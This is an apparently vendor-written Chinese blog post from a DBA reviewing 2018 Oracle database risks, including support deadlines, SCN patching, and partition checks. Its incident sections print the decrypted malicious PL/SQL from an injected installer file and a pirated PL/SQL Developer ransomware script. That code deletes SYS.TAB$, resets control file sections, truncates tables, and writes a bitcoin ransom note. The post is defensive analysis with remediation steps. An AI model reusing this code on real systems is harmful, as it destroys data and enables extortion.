语言
<< 返回文章列表

值得在年底彻查和回顾的数据库事件

2018年12月26日
盖国强
1977


2018即将离我们远去，回顾一下这一年中关于数据库方面未了之事，值得在年终岁末再检查一次、考虑一下的技术点，列在这里，给大家参考：

  1. 11g将于2019年1月结束支持

  2. Oracle DB Link的升级预警

  3. 数据库安装包注入的可能隐患

  4. 比特币勒索事件的死灰复燃

  5. 数据访问安全的审计和巡检

  6. 跨年分区和定时任务的检查


希望这些问题和警示，能够帮助大家开启美好的新一年！

1545794979009003029.jpg


11g将于2019年进入扩展服务支持期


扩展服务支持简单来说就是必须要额外付费才能获得支持，原本2015年开始Oracle 11g就进入了扩展服务支持期，Oracle豁免了服务费，但是自2019年1月1日起，正是进入需要额外付费的扩展支持期了。


如下图所示，第一行最后深红色部分，就是需要付费的扩展服务阶段，必须要和Oracle签订扩展服务支持合同才能够继续获得11g的后续支持。考虑到中国企业购买ES支持的比例，我们可以认为11g的官方支持基本结束了。


1545795018397044757.jpg


所以是时候考虑升级到 12c 的终极版本 19c 了，在2019年第一季度，这个版本就将发布。


DB Link 的 2019 限时升级警告

在2018年2月15日， Oracle 官方支持站点 MOS 上，发布了两篇告警文章，引发了用户的广泛关注，这两篇文章的目的是提醒用户防范 SCN 算法变更带来的DB Link 访问问题。时间越来越近，建议所有用户正视这个问题。


这两篇文章分别是：

Oracle Databases Need to be Patched to a Minimum Patchset/PSU/RU level before April 2019(Doc ID 2361478.1)

Mandatory Patching Requirement for Database Versions 11.2.0.3 or Earlier, Using DB Links(Doc ID 2335265.1)

后来这两篇文章修改为，『必须』修改为『推荐』，『4月』修改为『6月』：

Recommended patches and actions for Oracle databases versions 12.1.0.1, 11.2.0.3 and earlier – before June 2019 (Doc ID 2361478.1)

Recommended patching and actions for Oracle database versions 12.1.0.1, 11.2.0.3 and earlier - before June 2019 (Doc ID 2335265.1)


1545795061358083262.jpg


这个问题和 DB Link 以及 SCN 相关，为了解决SCN的跃迁问题，Oracle 引入了 SCN 兼容性参数设置，修改数据库 SCN 算法的命令是：

ALTER DATABASE SET SCN COMPATIBILITY.


兼容性特性有4个选项，可以修改为：1、2、3 。

SQL> ALTER DATABASE SET SCN COMPATIBILITY 2;

Database altered.


SQL> ALTER DATABASE SET SCN COMPATIBILITY 3;

Database altered.


SCN 算法向小值修改时，数据库需要重新启动：

1545795117332018289.jpg

Oracle数据库缺省的SCN兼容性将于 2019年6月23日直接跳级到兼容性 3 。数据库将会有更大的SCN空间和增长率，所以低版本的数据库推荐升级，否则和高版本的数据库连接时则可能出现问题。


现在进入半年倒计时，我们建议所有用户审视和考虑这一问题，关于这个主题，我们发表过一系列的文章，供用户参考：

预警揭秘：倒计时炸弹11.2.0.4前版本DB Link必须在2019年4月升级真相

解决方案：Oracle的 DB Link 问题及2019年4月前升级路线详述

Oracle 的 DBMS_SCN 修正以及 SCN 的 auto-rollover 新特性

更新通报：Oracle全面修正了关于DB Link和SCN补丁的公告

未完待续：关于DB Link和SCN，你还需要知道的是...

升级更新:Oracle关于DB Link在2019年升级的10g版本兼容性


11.2.0.4 安装包的注入攻击

今年，很多用户遭遇了 ORA-600 16703 错误，数据库无法启动，这个问题是因为用户安装使用的数据库介质被注入。建议所有用户彻查，是否存在注入安全隐患。


强烈警示：在下载Oracle安装介质时，一定要从可靠来源下载，Oracle 官网是最佳途径。当从未知来源获得安装软件时，你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。


在这个案例中，被注入的文件是：

$ORACLE_HOME/rdbms/admin/prvtsupp.plb


这个程序包文件最后被注入了一个触发器，这个启动触发器，当数据库启动之后被触发执行：

1545795158155066797.jpg


这个触发器执行的是前面的加密代码，存储过程，这个存储过程解密后的代码如下，其代码逻辑就是，判断数据库的创建时间大于 300 天，然后创建一个备份表，备份 tab$ 内容之后，清空 TAB$ 表。

此后，数据库当然就无法启动了：

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN 

   SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=300) THEN 

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   END IF;

END;


所以我们再次提示大家：由于这个攻击，具有潜伏性，如果你是从网络下载了Oracle安装包，尤其是 11.2.0.4 版本，建议用户检查你的数据库，确保安全。


通常遇到的错误是这样的：

SQL> alter database open;

alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 1236

Session ID: 1 Serial number: 5


详情参考：案发现场:被注入的软件及 ORA-600 16703 灾难的恢复


PL/SQL Developer 注入的比特币勒索


在2016年11月，国内很多用户的数据库遭遇到了比特币勒索攻击，这一事件在2018年11月再度泛滥重来，很多用户再次遭受到了数据安全威胁。建议用户彻查，确保未被潜伏攻击。


这个问题的症状是：

很多用户在录数据库时发现该问题，数据库应用弹出"锁死"提示，并且威胁说需要向黑客发送5个比特币方可获得解锁。

在客户端，你可能获得类似的提示信息：

6.jpg


在数据库受攻击之后，在数据库的告警日志中，可能充斥如下信息：

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com我们将让你知道如何解锁你的数据库  

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27

ORA-06512: at line 2


这个问题原因是，如果用户从互联网上下载了盗版的 PL/SQL Developer 工具后（尤其是各种绿色版、破解版），就可能因为这个工具中招。所以这个问题和 Oracle 本身关系不大，也没有注入那么复杂。而是随着你使用这个工具，用户的权限就自然被附体的进行了入侵。


PL/SQL Developer  在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql，这个脚本就是真正的问题所在。


正版软件安装，这个脚本文件是空文件，但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义，就是祸患的源头。


受感染文件 -  AfterConnect.sql 开头是这样的，伪装成一个 login.sql 的脚本内容，有清晰的注释代码：

1545795737646043302.jpg

实质内容，以加密方式展示，用户看不到内容，但是可以通过 unwrap 进行解密（但是注意那些解密程序不要存在恶意代码）：


8.jpg


无疑，黑客是非常了解 Oracle 数据库的，其脚本代码的核心部分：

BEGIN

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

   DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');

   END LOOP;

   END IF;

END;  


请注意黑客的专业性，在程序的开端有以下部分判断：

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

也就是，判断数据库创建时间大于1200天，才开始动作（这个判断相当有见地，小库和新库，数据少不重要，先放长线钓大鱼），如果你的数据库还没有爆发，那可能是因为时间还没有到。


我想2018年爆发的这部分系统，可能就是植根问题于几年前。


处置建议：

这个攻击是通过 JOB、触发器、存储过程 来协同工具的，所以如果数据库遭遇到这个问题，可以将 JOB 参数 job_queue_processes 设置为 0 ，屏蔽掉 JOB 的执行，然后重启数据库。可以清除注入对象，这些对象可能包括以下同名触发器和存储过程：


PROCEDURE "DBMS_CORE_INTERNAL         "

PROCEDURE "DBMS_SYSTEM_INTERNAL         "

PROCEDURE "DBMS_SUPPORT_INTERNAL         "

而攻击的核心代码还包括，这会 Truncate 数据表：

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;


云和恩墨的自动化巡检工具：Bethune（白求恩），早已内置一项检查，访问来源、访问工具分析，可以帮助用户梳理清楚你的数据库使用情况。

别犹豫，去 https://bethune.enmotech.com 看看，不收钱。


详情参考：知己知彼-关于Oracle安全比特币勒索问题揭秘和防范


数据泄露的访问安全警示


2018年是数据库安全事故频发的一年，当然我们预计这样的事故在云模式不断普及的未来，不但不会减少，而是会愈演愈烈。建议关注访问安全，排除未授权访问来源。


2018年11月30日，全球酒店行业巨头万豪国际酒店集团（Marriott）公布，旗下酒店集团喜达屋（Starwood）的宾客预订数据库被第三方入侵，全球近5亿客户数据受到影响。


万豪集团于9月8日收到一条内部安全工具发出的关于第三方试图访问喜达屋宾客预定数据库的警报，随后迅速展开调查。在调查过程中发现，自2014年起，就存在第三方对喜达屋网络未经授权的访问。万豪国际近期发现未经授权的第三方已复制并加密了某些信息，并采取措施试图将该等信息移出。直到今年11月19日，万豪集团确定信息的内容来自喜达屋宾客预订数据库。


该数据库中约有5亿名客户（2018年9月10日或之前曾在喜达屋酒店预订）的信息或被泄露，而这5亿名客户人中约有3.27亿人的信息包括如下内容：姓名、邮寄地址、电话号码、电子邮件地址、护照号码、SPG 俱乐部账户信息、出生日期、性别、到达与离开信息、预定日期和通信偏好。部分客户可能被泄露的信息还包括支付卡号码和支付卡有效期，虽然这些数据已加密，但万豪集团无法排除该第三方是否已经掌握解码密钥。


据美联社报道，万豪集团目前在全球110多个国家拥有超过5800处酒店和110万间客房。受影响的喜达屋旗下品牌包括：W酒店（W Hotels）、瑞吉酒店（St. Regis）、喜来登酒店及度假村（Sheraton Hotels & Resorts）、威斯汀酒店及度假村（Westin Hotels & Resorts）、源宿酒店（Element Hotels）、雅乐轩酒店（Aloft Hotels）、豪华精选酒店（The Luxury Collection）、臻品之选酒店（Tribute Portfolio）、艾美酒店与度假村（Le Méridien Hotels & Resorts）、福朋喜来登酒店（Four Points by Sheraton）及设计酒店（Design Hotels）。


根据以上的描述，我们注意到客户描述的情况是，数据库长期以来存在未授权的访问，导致信息被窃取、泄露。那么企业应当如何来防范这类问题呢？


以Oracle数据库为例，我们认为，以下两种措施是必要的：

  1. 数据库安全审计，通过审计来查证对于数据的访问情况，包括来源、范围等；

  2. 数据访问来源审计，通过对于访问数据库的外部地址审核，确保访问来源可靠、访问应用可靠；


有了这两种手段，企业就能够及时的发现异常，做出分析，予以防范。对于前者，Oracle 有审计功能，云和恩墨的产品云镜也是基于数据库审计做出的增强，不详述。但是对于后者，通常能够通过数据库的日常巡检和监控，发现未授权访问，数据库建立连接的监听日志就记录了这样的重要信息。


在云和恩墨免费的白求恩智能巡检平台上，就可以自动帮助用户分析展示对于数据库的访问来源，及时发现未授权的访问来源：


1545796668652072707.jpg


此外，Bethune 还会检查访问数据库的应用，及时提示那些来自于陌生ip地址的应用程序，并检查相应的风险，比如比特币的注入攻击：

1545796713958054642.jpg


云和恩墨的 Bethune SaaS 产品是完全免费的，具体可以参考：

https://bethune.enmotech.com


及时的了解数据库的访问情况，是提升安全的必要方向之一。


检查跨年分区


最后，每年跨年的时候，我们都会提醒大家，检查跨年的数据库表分区是否已经创建，当然，如果你使用了Oracle的间隔分区，这一切就变成了自动化的工作。


除了分区，还要关注你的统计信息收集任务，如果你设定的是手工收集，那么跨年时要注意定时任务是否能够及时执行。


关于这些跨年的事件，应该一一筛查。


祝大家平安度过2018最后一个保障日，胜利完成运维人的跨年大业！